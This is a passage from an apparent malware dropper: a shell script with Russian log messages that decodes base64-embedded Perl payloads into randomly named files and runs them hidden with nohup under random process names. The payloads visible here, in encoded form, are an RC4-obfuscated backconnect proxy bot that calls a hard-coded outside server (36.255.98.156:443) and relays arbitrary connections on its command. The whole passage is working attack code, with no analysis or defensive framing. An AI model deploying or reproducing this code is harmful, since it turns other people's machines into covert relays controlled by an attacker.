ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #61 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #61 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 62 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw 